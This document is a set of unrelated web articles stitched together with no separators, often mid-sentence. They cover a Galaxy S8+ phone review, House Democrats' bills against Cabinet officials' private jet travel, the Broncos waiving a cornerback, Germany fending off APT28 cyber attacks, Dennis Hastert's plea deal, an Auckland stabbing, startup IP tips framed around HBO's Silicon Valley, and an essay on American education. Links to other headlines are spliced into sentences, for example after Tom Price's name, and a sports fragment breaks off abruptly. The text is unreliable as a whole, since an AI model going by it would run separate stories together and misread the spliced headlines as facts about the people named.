Whilst the Midnight Black looks the most sleek, the orchid Grey looks very elegant in the flesh. Whatever colour option you choose, the S8+ will feel like a single slab of polished glass. The black just disguises the mid-frame better.
Thumbs up to Samsung for not plastering a logo on the front. As a result, the front of the S8 and S8+ is completely clean, and in normal lighting, it's hard to tell where the screen starts and ends when there's nothing on display.
Hardware
The USB cable and power adapter are now finally in black! It has been a much hated tradition for Samsung to bundle white cables and adapters with black phones.
Powering the Galaxy S8 and S8+ is the new 10nm Exynos 8895 for those of us outside of the USA. You guys and girls living in the States get the Snapdragon 835 variant.
The two chipsets may be somewhat comparable on paper, but in reality, they are mostly neck and neck. It is worth noting that even though the Snapdragon 835 supports Quick Charge 4, the Galaxy S8 and S8+ utilise only Quick Charge 2.0 regardless of chipset. This isn't a problem of course, as it still charges quickly, at around 1 hour and 30 minutes. Likewise, wireless charging takes 2 hours and 20 minutes.
It also appears that the Galaxy S8 and S8+ support USB-PD (5V / 3A) for fast charging, as well as being able to power a card reader/USB hub adapter without the need for an additional power source. Even when a 4TB HDD is attached!
I imagine Samsung were taking no chances after the battery issues in the Note 7, where they released the findings of their investigation. Buyers have since been re-assured by Samsung and their commitment to safety.
Wireless and mobile network performance were also excellent, although Exynos flagships have always been fine here. A curious observation however, I wanted to compare LAN transfer speeds between the S8+ and the LG G6, but I just could not get the G6 to connect at a similar rate. It appeared to cap out at around 350Mbps, whereas the S8+ connected 780Mbps. This was on the same AC router, and in the same room.
The inclusion of a Type-C to Micro USB adapter is very welcome. It means you can retain your existing Micro USB cable, and not have to worry about getting USB-PD compliant cables and adapters like on phones such as the Pixel. Although I get the feeling that this will be the only Galaxy to use Qualcomm's standard as manufacturers like OnePlus have adopted their own fast charging methods, whilst others such as Google utilise USB Power Delivery.
The use of the adapter with existing Micro USB cables will not affect the fast charging ability of course, since the standard used on the S8 and S8+ is Quick Charge 2.0, (or as Samsung likes to call it, Adaptive Fast Charge). USB Power Delivery at 5V / 3A is also supported for fast charging, which I talk about later in the review.
Otherwise, fast charging rates for both wired and Qi on the S8 remain the same as the S7 and S7 edge at 9V / 1.67A. (15W). With wireless charging, the actual rate is closer to 11-12W once efficiency losses are considered.
The S8s are the first phones to hit the market with Bluetooth 5. It is too early to fully realise its potential, but in the short term, you can expect longer Bluetooth range with less interference around crowded airwaves.
I also noticed that Bluetooth management is more polished than what it is on the S7 edge. There is also now a dual audio mode, where you can output audio to two different devices at the same time. As well as a settings to synchronise audio volume between both the connected device, and the phone.
Perhaps the most radical change though, is the removal of the physical home button. Love it or hate it, this has been Samsung's signature feature since the original Galaxy S in 2010. The Galaxy i7500 from 2009 can't be counted really, because even though it ran Android, it didn't have a dedicated home button.
Thankfully, that is the only courageous removal on the S8 and S8+. In its place lies an embedded home button below the display. Press the area where you would normally expect a physical home button to be, applying the same pressure as you would on a normal button, and you are greeted by haptic feedback. It is not as high quality as the iPhone 7 haptic motor, but it's certainly good enough.
Gboard with Navbar Apps set to darken the navbar to match
The on-screen home button outline is on permanently when using the Always On Display feature. But even if you are not using it, the area is always active, so you can press home to wake the phone when the screen is off.
Anyone afraid of screen burn-in need not worry. The home button does move about when the AOD feature is in use.
You can also remap the back/task switcher buttons around to be in the "correct" order. Android purists can finally rejoice.
AMOLED display
2017 is set to see a growing trend in narrow phone displays with minimal bezels. Android Nougat's multi-window mode plays brilliantly with this, by allowing two apps to run side by side with greater flexibility.
Multi-window is nothing new, and I personally don't know anyone who actually uses it on their phone. Even as a power user, I rarely use it unless I'm showing someone what is possible. It remains to be seen then, whether these wide displays will guide people to using such software features.
The super-wide aspect ratio makes for an immersive media experience. Compared to a phone with a 16:9 display, videos have greater depth. Much like how an ultra-wide PC monitor drops you into the action when gaming compared to a standard widescreen monitor.
As MKBHD aptly put it, the video just melts over the edges.
When playing 16:9 content in apps like YouTube, a little floating button appears, that when pressed, will expand the video to fit the full width of the display. Of course this means it'll get cropped a little bit on the top and bottom, but in the majority of videos, the cropped off areas are non-essential anyway from my experience.
In apps where the floating button doesn't show up, you have to manually use the zoom functions in them directly. Amazon's Prime Video app is one such example, where the zoom control allows for crop and expand to make full use of the new aspect ratio.
LG's G6 also has a floating button to crop in videos in the same way, but on the G6, it appears that the YouTube app doesn't allow the feature to work, which results in a somewhat average experience on its 18:9 display.
The S8's new Super AMOLED display supports Mobile HDR Premium, but HDR sources for mobile are not readily available at present. Netflix has confirmed the next version of its app will support it, but Amazon's Prime Video and YouTube have no details just yet.
The S7 edge was always a classy looking phone, but the S8 goes one step beyond
There is a reason why DisplayMate awarded the Galaxy S8 the title of "best" display ever on a phone.
I find the screen to be easily viewable in sunlight. Brightness levels are high, but then again they have to be in order to comply with HDR specifications.
This is one display that's usable in nearly all conditions, even in the wet, where I found the touchscreen functions more accurately than its predecessor.
Colour accuracy was also acceptable out of the box on my handset. I did tweak the RGB controls slightly to drop the red and blue tones down a shade so as to be closer to my PC monitor which is hardware calibrated. The result was quite pleasing, especially as Samsung pushed out the colour balance update to unlocked UK handsets today.
There is still that AMOLED vibrancy at play of course, and you can see a touch of this in the above photo.
Software
Sadly, Samsung's latest only ship with Android 7.0, not 7.1.x. This is a shame, as it would have put the S8 handsets a clear step above the LG G6, which also ships with 7.0.
Here's hoping that Samsung are quick to release Android O for it, or at least have a beta channel like they did with Nougat on the S7 edge.
Grace UX remains a familiar sight on the S8. The Samsung Experience version jumps from 8.0 on the S7, to 8.1 on the S8. There are refinements throughout, which add up to a more pleasant experience. But all of these changes could have been ported to the S7 also, Samsung just chose not to. Things like mapping the volume button so that it changes the media volume instead of ringtone volume, and having full music controls, with album art, on the lockscreen.
Other changes include Smart Capture via the Edge Panel feature. This allows you to capture areas of the screen as shapes, or create gifs from videos being played. The Galaxy S8 phones could be a MEME creators best friend, then.
Samsung's screenshot implementation has always been a cool addition to Android. The S8 still retains the useful scrolling screenshot function, as well as annotation and crop controls. The crop feature now auto-crops out the navigation buttons and notification bars with a single tap. In previous versions, you had to manually crop out those areas you didn't want to share in a screenshot.
There are other tweaks and features dotted around the whole OS. One such feature is the ability to switch apps from 16:9 aspect ratio to 18.5:9 on the fly:
Simply press the recent apps switcher button, and tap the round blue button on the top right of the active application tab. The button will only appear for the active application, and only when the application doesn't officially declare itself in support of the taller aspect ratio (even though it most likely will work anyway).
This saves time, as you don't have to go into Display Settings and scroll through to find the app to switch between modes with.
The latest phone app has some clever features built in
In a nutshell, Grace UX is elegant and highly polished in its current form. The theme engine is integrated as always, and there are a number of Material/Pixel/Nougat inspired themes and icon packs to give you that stock Android feel, especially if you are using a third party launcher, such as Nova.
For reference, all of the screenshots and photos in this review show Nova Launcher, and the themes, Material Design 7.1, sd_Black, and an XDA community one. Dark shaded themes work especially well on an AMOLED display, and will typically conserve energy better, as each black pixel on such a display means that there is nothing to illuminate.
I found there to be a few instances of micro-stuttering in some apps. However, there does not seem to be any stuttering in Samsung's own apps, or Grace UX itself. This is an issue that affects many other Android phones. It doesn't matter if they are flagships or budget devices.
This might be why Google is said to be making its own chipset for future Pixel phones, perhaps even as early as Pixel 2. Following the Apple way by tailoring the software to a specific hardware spec means optimisation is made a whole lot simpler.
Bixby
Is there an elephant in the room? I'll be honest, I tried Samsung's version of Google Assistant for a day, and then proceeded to disable it. I found it to feel unpolished.
For starters, whilst Bixby Vision in the camera app works for recognising images of things you show it, it finds no shopping results for those items.
The voice assistant side of Bixby has only been released in Korea so far, with no details yet on a wider release.
Bixby is forced on owners. At release, the Bixby button below the volume rocker could be remapped to any other app. Samsung later released an update which blocked this feature. Luckily it was brought back later by a third party.
It is amusing because Google Assistant also comes enabled out of the box, and it works flawlessly. Why would I want to spend weeks/months re-training a new digital assistant my usage habits when Google is readily there and works exactly as expected?
OK Google, I need a second opinion here...
Camera
The rear camera sensor is newer than the one on the Galaxy S7, but the specifications remain identical. It goes without saying that from everything that I have seen and tried, the images and performance are also identical.
It is in the front facing camera where a couple of changes are seen. The S7 and S7 edge have a 5MP fixed focus lens, whereas the S8 has an 8MP sensor with autofocus.
Unlike the LG G6, there is no dual camera lens set-up. Looks like we could be waiting for the Note 8 before we see such a configuration on a Galaxy flagship.
The camera app itself has no noticeable design changes over the S7, and as such, makes no use of the extra screen width. The LG G6 allows you to put a thumbnail scroller along the left of the screen when the camera is active in order to allow quick previews of photos already taken.
However, with a little help from XDA Forums, it's quite easy to expand the camera app's viewfinder to maximise the use of the wider display. It doesn't add any extra functionality, but does look cooler. For maximum effect, you also might want to set the photo resolution setting to 18.5:9 (7.9MP) if outright resolution isn't desired, since the quality remains the same.
Other than this, if you are familiar with the Galaxy S7 rear camera, then there is nothing new to be seen in the S8. Both cameras are superb, especially in low light, so there is nothing to scoff at here.
Biometric security
The S8 and S8+ boast some advanced forms of biometric authentication for unlocking, and logging into things like Samsung Pass. The Note 7 first introduced iris scanning, and the S8 has an even faster implementation. The scanner registers 200 points on each eye, and is said to be the most secure method of authentication.
The blue sensor you see is the iris camera
In practice, I found the iris scanner to be so quick in most lighting conditions, that I barely have time to look at the lockscreen before the phone unlocks. Scanning works in complete darkness as well, thanks to the infrared sensor.
I didn't bother using the fingerprint sensor on the S8+ due to its awkward placement. It's simply too high up, and too easy to smudge the camera lens. Thankfully the iris scanner is so convenient now, that I use that instead, and pattern/pin unlock fall-back when in strong sunlight.
Audio output
Samsung claimed that the bundled earphones were "High end AKG" during the S8 launch event. It later transpired that they are merely Samsung buds, just tuned by AKG, and in prettier clothing.
Now this makes logical sense, since AKG is a part of Harman, and Samsung own them. Are they any good, though?
They certainly look and feel good, and in most regards, this is what matters to the average person the most. They do not look like the usual earphones that get thrown into the box with any new phone purchase. The AKG branding also helps solidify the premium perception, as does the braided cable.
I think the key point to be made here is that they are "tuned" by AKG, meaning they've been tweaked to deliver a better sound than basic earphones.
Having listened to them, I can confirm that they are indeed better than basic earphones, but by no means are they up to par with actual premium earphones. I've owned a pair of Sennheiser CX300 in the past, and they deliver a richer sound out of the box.
The ear tips provided with these earphones didn't provide the most suitable seal around my ear canal though, and this is probably why I didn't find them as great as I probably could have. I did attempt to use the Comply Premium memory foam tps that come with the Jaybird X3, but they were too big for the necks on the S8's earphones.
Where I was impressed was with the DAC inside, and how it was able to power a pair of Sennheiser HD650s to loud volumes, at least loud enough to be enjoyable. There was no distortion at max volume, and both ends of the frequency range were nicely presented.
This is thanks to the Cirrus Logic CS43130 MasterHIFI Audio DAC used in the Exynos S8 and S8+, a marked upgrade over the S7 edge.
Whilst the S8/S8+ output won't beat the ESS Quad DAC found on the LG V20, it is very much a boost to provide a high quality audio experience.
Battery life
The Galaxy S7 edge has 100 mAh more capacity at 3600mAh, and in my review of that, I noted that 20 hours from a full charge with 4 hours screen on time was what I was seeing. With the S8+, I have been seeing increasing battery life as time goes on. The first couple of days, 18-20 hours per charge with around 4 hours screen on time was the norm.
Now that Doze has settled in and learned my app usage pattern, I see around 25 hours per charge with the similar screen on time. This is with the exact same configuration as the S7 edge, same network, the same 104 apps and the same sync settings.
Samsung say the Exynos 8895 is more efficient and uses less power than its predecessor, and my experience certainly points to this being true.
Using AccuBattery Pro, the accumulated data it has collected has given me the following battery usage:
The major plus in favour of the new phones is that Samsung has said the battery will retain 95% of its capacity after two years of regular charging. To put that into perspective, the S7 edge loses 20-25% of its capacity in the same timeframe.
After 14 months, my S7 edge now only lasts until the middle of the day before a top up is needed due to the battery draining so fast. AccuBattery pinned the estimated capacity after a year to just over 2600 mAh.
If Samsung's claim is true, then this is a huge selling point for the Galaxy S8 and S8+. I will return to this review in a year to let you know what the deal is.
So far, no other manufacturer has commented on battery capacity degradation after long term use of their devices. Perhaps this is why the S8 uses Quick Charge 2.0 (9V @ 1.67A) by default, as Samsung's new battery technology to minimise long term capacity degradation might not work so well with the higher variable voltage and current delivery of QC3 or 4.
Another big difference compared phones like the HTC 10, is that both S8s support USB Power Delivery. This means that USB Type-C chargers complying with the USB-PD standard, and outputting 5V @ 3A will fast charge the S8 and S8+.
Power efficiency also seems very good. I took a day trip to London recently, and had the WiFi hotspot enabled. Total driving time was just shy of 8 hours, with the hotspot active for approximately 7 hours and 30 minutes. The battery was full when I left home, and was at 24% when I returned in the evening. This was inclusive of normal usage throughout the day as well.
Conclusion
The price might make some shoppers head towards LG's direction, but the Galaxy S8+ proves that you can have a phone with all of the features people could want, yet at the same time, retain a premium look and feel.
I am having trouble thinking of another flagship phone that packs in all of the above, and offers those features globally. The Snapdragon vs Exynos differentiation isn't a big issue because they perform so much alike, and pack in the same features. It is not the same as LG's G6, which comes with wireless charging in the USA and Canada, but no HiFi DAC, and then neither of those features in Europe.
I like to think of it as an evolved Galaxy S7 edge. Yes, the screen has grown and the battery has shrunk, but the screen to body ratio has improved, as has power efficiency and design.
The screen is of course the major highlight. Expand any video to fill the entire display, and you're treated to something no other phone can duplicate. The LG G6 gets close, but it's no cigar next to the S8 or S8+.
Ultimately it comes down to individual preference. For me, the seamless flow of the display, especially when watching videos, makes the Galaxy S8+ a winner.
Samsung's claim that the battery wll retain 95% of its capacity for two years is also a tantalising prospect if it holds up to be true. The average phone contract is 24 months, and will mean a Galaxy S8/S8+ will still provide nearly new battery life throughout that period, whereas with other phones, you are going to see a noticeable drop in battery life approaching the end of the first year.
The glossy back panel is a major fingerprint magnet, and I won't scar your eyeballs with how mine looked before I wiped it down and applied the d-brand dragon skin. I was never a huge fan of glossy backs anyway, and wish more manufacturers adopted frosted glass backs like Sony originally did with the Xperia Z5.
I have of course noticed some bugs that crop up here and there. The force touch home button sometimes activates even with a gentle touch, and charging stopped entirely, requiring the screen to be turned off, then on again to fix. These may well be software compatibility bugs, as the home button sensitivity is adjustable, and the charging may have halted due to the use of AccuBattery.
Preferences aside, I think S8s look more elegant than the LG G6
We as consumers are in a strong position for 2017. There are many flagship phones coming out this year that should also be sporting thin bezels and flowing displays. If anything, they will help drive the price of the Galaxy S8 range down.
For now, the Galaxy S8+ stands on its own if you want the best display experience of any phone currently available. It is not perfect, but it is the closest a Galaxy has ever been.House Democrats introduced legislation on Thursday to prevent Trump administration officials from using private jets on the taxpayers’ dime as multiple Cabinet heads come under fire for the practice.
Two groups of Democrats unveiled bills with correspondingly flashy titles.
Progressive Reps. Ted Lieu (Calif.), Ruben Gallego (Ariz.), Jamie Raskin (Md.) and Pramila Jayapal (Wash.) put forth the Swamp Flyers Act, while centrist Democratic Reps. Tom O’Halleran (Ariz.) and Kurt Schrader (Ore.) offered the Taxpayers Don’t Incur Meaningless Expenses (Taxpayers DIME) Act.
The Swamp Flyers Act prohibits executive branch officials from using private jets with taxpayer funds unless they certify that no commercial flights were available. The Taxpayers DIME Act, meanwhile, ensures that senior federal officials can’t spend more funds on travel than is necessary and directs the Office of Government Ethics to report on ways to enhance current rules.
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“We're here to serve our neighbors back at home, not lavish their hard-earned dollars on personal luxury. If that's too much to ask, then go home — and fly commercial,” Schrader said in a statement.
Politico unveiled in a series of reports that Health and Human Services (HHS) Secretary Tom Price Thomas (Tom) Edmunds PriceIs a presidential appointment worth the risk? Former Ryan aide moves to K street Grassley to test GOP on lowering drug prices MORE has spent more than $400,000 on charter jets since May, despite the availability of multiple lower-cost commercial flights.
Price has said he would halt his charter jet use amid an HHS inspector general review of his travel practices.
Two other Cabinet officials have also faced criticism for private plane use. The Treasury inspector general is reviewing department head Steven Mnuchin Steven Terner MnuchinTreasury announces new Venezuela sanctions Trump trade chief changes terminology after president contradicts him Trump considering meeting with China's Xi next month to finish trade deal MORE’s use of a private jet in August, as well as why he requested a government plane to take him and his wife, Louise Linton, on their European honeymoon.
Environmental Protection Agency Administrator Scott Pruitt Edward (Scott) Scott PruittEPA knows this pesticide is dangerous, so why did it reverse the ban? Archives investigation finds no ‘secret' Pruitt calendars existed California has sued the Trump administration 46 times. Here are the lawsuits MORE has also been using private planes for government duties. The Washington Post reported on Wednesday that Pruitt’s private flights have cost taxpayers more than $58,000.
House Oversight Committee Chairman Trey Gowdy Harold (Trey) Watson GowdyThe family secret Bruce Ohr told Rod Rosenstein about Russia case Trey Gowdy joins Fox News as a contributor Congress must take the next steps on federal criminal justice reforms MORE (R-S.C.) and the panel’s ranking Democrat, Rep. Elijah Cummings (Md.), sent letters to the White House and federal agencies on Wednesday requesting information about officials’ use of government or noncommercial aircraft.
Introduction of the bills on Thursday came after five Democrats — the four authors of the Swamp Flyers Act plus Rep. Brenda Lawrence (D-Mich.) — called for Price’s resignation.
Lieu, Gallego and Raskin gathered on the House floor on Thursday afternoon to promote their bill, alongside charts with pictures of an airplane and Price calling Cabinet officials’ use of private jets in 2009 “just another example of fiscal irresponsibility run amok.”
Wide shot of Price posters on the House floor right now. @RepRaskin (left) and @RepTedLieu (right) pic.twitter.com/EX5MmYmOB3 — Floor Charts (@FloorCharts) September 28, 2017
“Clearly when it comes to travel on taxpayers’ dime, the price does not matter to Tom Price,” Gallego said.
A spokeswoman for HHS told The Washington Post that the use of private jets were justified because “[w]asting four hours in an airport and having the secretary cancel his event is not a good use of taxpayer money.”
Lieu scoffed at the explanation.
“Yes, he should be waiting four hours at the airport because that’s what other Americans do,” he said.ENGLEWOOD—As it turns out, Lorenzo Doss was one of those players who would occasionally arrive late to meetings.
Multiple sources told 9News that when the third-year cornerback was late to a meeting Thursday morning, he became a Thanksgiving Day transaction. The Broncos waived Doss before practice Thursday, ending his three-year term with the team.
A ballhawk every year in training camp, Doss never could consistently cut through the No Fly Zone for playing time, anyway.
"We're trying to get better as a football team, that's simply it,'' said Broncos' head coach Vance Joseph in a noticeably clipped response to Doss' exit.
Selected in the fifth round of the 2015 draft out of Tulane, Doss only dressed for 15 games in his three seasons with the Broncos, including just three times this year.
Doss, 23, was an instinctive type who liked to jump routes – his two pick sixes on Mark Sanchez during the 2016 camp helped Trevor Siemian win the Broncos’ starting quarterback job -- but he would also occasionally get beat.
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Not a big cornerback at 5-foot-11, 187 pounds, it wasn’t easy for Doss to find playing time when the Broncos’ secondary boasted arguably the league’s best cornerback trio in Aqib Talib, Chris Harris Jr. and Bradley Roby.
Brendan Langley, a third-round rookie, has emerged as the No. 4 cornerback in part because he is also a quality special teams player.
The Broncos’ roster currently sits at 52 players.
Roby seeks redemption
There was a period following practice Wednesday when Roby sat quietly alone at his locker in the row of defensive back lockers, watching football film on his iPad.
Sometimes studying helps and sometimes it can be a drawback. On that double move, 29-yard touchdown in which Cincinnati Bengal receiver Alex Erickson burned Roby?
There was reason why Roby bit on the first part of the route on the third-and-4 play.
“They had never shown that route all season,’’ Roby said Wednesday after he was interrupted from his film study. “Every time they had motioned to that side they had always done a “follow” route. It was third and short. I was thinking follow – I took it away with my body but I didn’t protect just in case they did something else. And they did something else.’’
Earlier in the drive, Roby was banged in his helmet but he stayed in. Had he had a chance to do it over again.
“I was going all over the place,’’ he said. “It was just one of those type drives. Don’t want to make excuses. I got to learn from it.’’
Roby was also victimized later in the game on an 18-yard touchdown pass from Andy Dalton to A.J. Green.
“Had two plays and unfortunately at corner every mistake you make, everyone sees it,’’ Roby said. “I wish I could have them back but I’m going to learn from my mistakes. I’m a prideful guy. Didn’t sit well with me. Still doesn’t sit well with me. But that’s the game. You’re going to get beat sometimes.You have to learn and keep moving.’’
Copyright 2017 KUSAFears about Russian involvement in European elections, especially after last year's US election, aren't exactly unfounded or born out of paranoia. In fact, Germany says it fended off two cyber attacks coming from the same cybercriminals that targeted Hillary Clinton's campaign.
Arne Schoenbohm, a top German official, told Reuters they managed to fight off two attacks from APT28, also known as "Fancy Bear," the Russian hacker group that experts believe to have been behind the Hillary hack.
The first, it seems, took place in May, when the hackers attempted to create an Internet domain for Angela Merkel's Christian Democratic Union party in the Baltic region, Schoenbohm said.
The second attack took place several months later and involved a spear-phishing scheme targeting German parties in the lower house of parliament. The attack apparently used a NATO domain name as it tried to inject malicious software.
"Germany remains in danger in the cyber arena since we are highly digitized. The more we digitize, the more dependent we become on networks, the greater the risk of attack," Schoenbohm said, painting a rather realistic picture of the troubles we face today.
Prevention is best
According to Schoenbohm, his agency is doing everything it can to strengthen Germany's defenses against hackers by monitoring government networks and educating politicians and parties on how to protect their own networks. "We give them advice and help them with certain measures. But in the end, what each party does is its own responsibility," he said.
Following the hacking of the Democratic National Committee in the United States and the dumping of confidential emails, US intelligence agencies have pointed the finger east, toward Russia. According to them, it is state-paid actors that are to blame for the hack. US agencies have warned European allies that Russia may attempt similar moves, especially as 2017 marks the year with several important presidential elections.Lawyers for Dennis Hastert said Thursday that the former U.S. House speaker plans to plead guilty to an indictment that alleges he agreed to make $3.5 million in hush money payments to cover up wrongdoing from years ago.
Hastert's attorney, John Gallo, told U.S. District Judge Thomas Durkin that a written plea agreement has been worked out in the case.
Durkin set a hearing for Hastert to enter the guilty plea on Oct. 28 — five months to the day after the bombshell indictment against the powerhouse Republican was announced.
The plea negotiations, first revealed in a hearing late last month, mean many of the details surrounding Hastert's prosecution might never be publicly aired, including the identity of Individual A, the mysterious figure who prosecutors say took cash from Hastert to keep quiet about a dark history with him.
Gallo declined to comment as he left the courtroom amid a swarm of reporters. Joseph Fitzpatrick, a spokesman for U.S. Attorney Zachary Fardon, also had no comment when asked about the details of the plea deal.
Hastert, 73, pleaded not guilty in June to one count each of evading currency reporting requirements and lying to the FBI and remains free on his own recognizance. He did not attend Thursday's brief hearing.
Jeffrey Cramer, a former federal prosecutor, told the Tribune on Thursday that it was possible both sides have agreed to a specific prison sentence for Hastert as part of the plea deal. Hastert's attorneys could also reserve the right to seek probation for him.
Former U.S. House Speaker Dennis Hastert through the years.
Cramer also raised the possibility that the defense could seek to waive a sentencing hearing entirely to keep the salacious details underlying the charges from becoming public. That would be a highly unusual move, though, especially for such a high-profile case, and would require the approval of the judge.
"Dennis Hastert wants to avoid a sentencing hearing probably more than any other public official in history," said Cramer, who heads the Chicago security firm Kroll. "Normally a public figure wants to present all the good things he's done in his life. But that opens the door for prosecutors to bring in their own evidence."
The indictment unsealed in late May alleges that Hastert agreed to make $3.5 million in hush money payments to Individual A to cover up wrongdoing from Hastert's time as a high school teacher and wrestling coach in Yorkville. According to the charges, Hastert lied about the reasons he withdrew $952,000 in cash over the previous 2 1/2 years when the FBI questioned him in December.
Though the indictment only hints at the alleged wrongdoing, federal law enforcement sources have told the Tribune that Hastert was paying to cover up sexual abuse of a Yorkville High School student years ago. The FBI also interviewed a second person who raised similar allegations against Hastert, sources said.
Cramer said that prosecutors "are going to be looking for" a prison sentence for Hastert. In exchange, Hastert's attorneys could have negotiated for the plea agreement to leave out the details behind his payments to Individual A, he said.
"It could be pretty vanilla," he said. "The charges allege Mr. Hastert moved money around in structured withdrawals to avoid detection by authorities. There may be nothing in the plea agreement about why he did it. We may never know."
Hastert's appearance to enter his guilty plea will mark only the second time he has come to federal court on the charges. His first appearance for his arraignment sparked a media frenzy at the Dirksen U.S. Courthouse, where two national television reporters landed in hot water with the chief judge after they were accused of trying to approach the former speaker for interviews.
If the case were to proceed to trial, Hastert's attorneys have said they plan to file a lengthy motion to dismiss the indictment. The motion raises "government misconduct issues" as well as legal arguments to dismiss the charge of lying to the FBI, Gallo told the judge last month.
Hastert's Washington-based lawyer, Thomas Green, has twice lashed out in court over alleged government leaks in the case, calling allegations reported in the media of sexual abuse in Hastert's past "unconscionable" and saying a fair trial could be jeopardized. He had said he planned to file a motion seeking to dismiss the indictment on those grounds.
The judge had previously set Tuesday as the deadline to file the motion to dismiss the indictment, but nothing was publicly filed.
Gallo told the judge Thursday they wished to reserve their right to file motions if the plea deal falls through. The judge agreed.
jmeisner@trib |
an assist that day.
Red Bulls II will look to snap a two-match home losing streak at MSU Soccer Park. They have never lost three home matches in a row since their inception in 2015.
Following Saturday’s match, NYRB II will make the short trip to Bethlehem, Pennsylvania to take on Bethlehem Steel FC Sunday, July 9.The duo tracked down their car, but were attacked when they confronted the thieves.
A witness to a stabbing incident has described the frightening screams of a man shouting "he stabbed me" on the street outside her home.
Two people are in hospital with stab wounds after they confronted thieves who stole a car in the Auckland suburb of Lynfield on Tuesday night.
A resident in the area said she was reading in bed when screams and shouting outside her home startled her.
"I heard cars and then shouting, it was the shouts that got me to the window to see what was going on," she said.
"(The screams) were really very loud, then I heard him scream, 'He stabbed me, he stabbed me'."
The witness, who did not want to be named, could not see much of the incident because of the darkness but said the man who had been stabbed seemed infuriated and agitated, which was enough to keep her indoors with her husband.
"His voice was very upset and he seemed very angry...I'm upset on behalf of the people that were hurt."
Police said the attack happened after thieves took off in a stolen car from outside a property in Lynfield.
The car owners searched the neighbourhood and found the vehicle on a street nearby.
When the two men confronted the alleged thieves, they were attacked and suffered stab woulds to their upper bodies and hands.
Up to four offenders fled in a second car, which police continue to seek.
Police and St John Ambulance responded to the incident about 11pm and the victims were rushed to Auckland Hospital with serious injuries.
Police said the victims were extremely traumatised.At the end of season one, the characters of HBO’s Silicon Valley won TechCrunch Disrupt. A triumphant ending, yes, but that didn’t come without challenges. Over the course of the eight-episode season, the startup navigated a wealth of intellectual property (IP) snafus. So many, in fact, that I couldn’t even fit the lessons learned into one blog post. Before we see what Richard, Erlich, and the rest of Pied Piper will do in this Sunday’s premiere, let’s revisit the show’s intellectual property (IP) roots and learn a few more lessons from their first season antics. The original Pied Piper product was a music app that checked for copyright infringement. The industry quickly dismissed it, though, labeling music IP an unimportant problem to solve. (We disagree!) However, the compression algorithm at the heart of Pied Piper became the startups secret sauce and valuable IP—both of which were at the center of season one’s storyline.
Now, before I delve into additional lessons learned, let me share the three tips from my previous post:
Tip # 1: Protect before sharing. Don’t openly share your ideas with your competitors without protecting them first.
Don’t openly share your ideas with your competitors without protecting them first. Tip # 2: Vet your team. Ensure that you have team members legally able to create with you and that all the IP they create belongs to your company.
Ensure that you have team members legally able to create with you and that all the IP they create belongs to your company. Tip #3: Get it in writing. Obtain written contracts from everyone on your team, including co-founders to coders. Never operate on handshake deals!
Most startups have zero sense of urgency when it comes to IP protection, because generally, most people misunderstand IP and often ignore it—until it’s too late. Think about season one’s opening party: Much of the reported 400 billion dollars of wealth in the room was earned from the sale of intangible assets. How ironic that someone tells Pied Piper’s CEO Richard that no one cares about IP. Wow, how wrong is that sentiment! And with that, onwards to three new tips gleaned from season one:
Tip #4: Do your homework. Know the old expression that failing to plan is planning to fail? That’s perfectly illustrated when Richard tries to deposit the six-figure investment check from venture capitalist Peter Gregory, which is tough to do when Richard does not have an entity called Pied Piper, Inc., nor anything regarding his business formalized. He embarrassingly asks the teller for help, but of course, a teller is not the person to help you form your entity, apply for your business license, and so on! Once the business manager, Jared, leaves rival Hooli to join the Pied Piper team, he points out the need for a business entity, plan, licenses, and proper paperwork. Startups need to have the basics buttoned up long before raising money. Oh, and make sure you read everything before you sign anything. I cringed when I saw Richard sign all the documents without reading a word!
Tip #5: Know that paying does not equal owning. The hilarious logo graffiti artist Chuy creates on Pied Piper’s incubator (A.K.A. Erlich’s house garage door) also illustrates why you should not pay in cash or operate without contracts. While the team probably didn’t want ownership of that logo, the moral of the story remains the same: just because they paid Chuy does not mean that they own the work he created. The same can be said for the $20,000 paid to teen programmer Carver who sold himself as whiz kid and later imploded. If he had delivered, would Pied Piper have actually owned the code? Paying does not guarantee your ownership rights, and as you scale and raise money, owning all the IP created is critical. In other words, not owning the IP can be a real deal killer.
Tip #6: Brand once. Richard was ridiculed for his Pied Piper name and t-shirts long before Chuy’s inappropriate logo. When he and Jared find out that another California entity, an irrigation company, is using the Pied Piper name, Richard flexes his negotiating muscles. In reality, though, the software application would never be confused with a brick-and-mortar sprinkler business. Still, this comedic situation demonstrates a valuable lesson. Do a Google and government search. Also, consider a professional name and logo search to make sure you have the rights to both own and use your name and brand before spending thousands on marketing collateral and swag.
Predictions for Season Two No spoiler alert required! These are my own musings. First, I am stoked for April 12 premiere in particular because I heard that the first episode includes IP. And just last week, Variety reported that entrepreneurs Cameron and Tyler Winklevoss guest star, so I’m thinking maybe it’s a reference to the infamous The Social Network dispute. Okay, now for my predictions: Maybe Pied Piper will have a name change or, more likely, will move into Silicon Valley-appropriate offices? There’s likely to be some more trade secret theft with new employees (perhaps sponsored by rival Hooli’s CEO Belson). Finally—more of a hope than a prediction—a talented woman will join the Pied Piper crew. (Seriously, Mike Judge, make that happen.) As I mentioned last June, I enjoy this show tremendously. I will definitely tune in to the sneak preview of Season 2 on Twitch on April 8. Will you? Let me know in the comments if you'll watch it too and what you think of the show.Distraction, fixation with standardized tests and ballooning debt put students on the road to intellectual serfdom.
For more than a century, the Statue of Liberty has symbolized America’s myth of freedom and prosperity. As per myth, America is the hallowed land where immigrants from all over the world arrive to shoot for the stars. In the case of Elon Musk who fled South Africa, this is true quite literally. Whether they sailed into 19th-century New York from famished Europe, or trudged through deserts to cross the border, liberty is supposed to be their reward. Old fetters are cast away in a land that promises everyone a fresh start.
But there is a seamier side to the immigrant story and the larger American narrative. The Mexican immigrants I meet on a daily basis mow lawns, repair cars and clean offices. They live on the margins of society, barely making a living. Many Americans are not much better off, with 76% estimated to be living from paycheck to paycheck. Surviving the terrible American nightmare leaves little time or energy for chasing the great American dream.
Nicholas Kristof, a well-known American commentator, has declared that the American dream is leaving America. He talks of how his father, a World War II refugee, chose America over France despite speaking fluent French because it was a land of opportunity. It offered its citizens and immigrants education, as well as social mobility. In much of Europe, the class structure was ossified. Outsiders and those at the lower end of the pyramid had little opportunity of improving their station in life.
Ironically, educational inequity in the US has since developed deep roots. An Organisation for Economic Co-operation and Development (OECD) report captures how access to education is diminishing for ordinary Americans. The report examines how education mitigates or exacerbates socio-economic divisions as well as its role in furthering skills and promoting social progress. Naturally, social mobility is declining dramatically and those who are not technological geniuses like Musk are increasingly left behind.
What is more worrying is that education in America is increasingly about status. Even elite universities do not encourage their students to think or question. At the University of California, Berkeley, where I have taught, most students obsess about grades but care two hoots for ideas. A spiritual home for rebels is now a temple dedicated to the pursuit of professional careers.
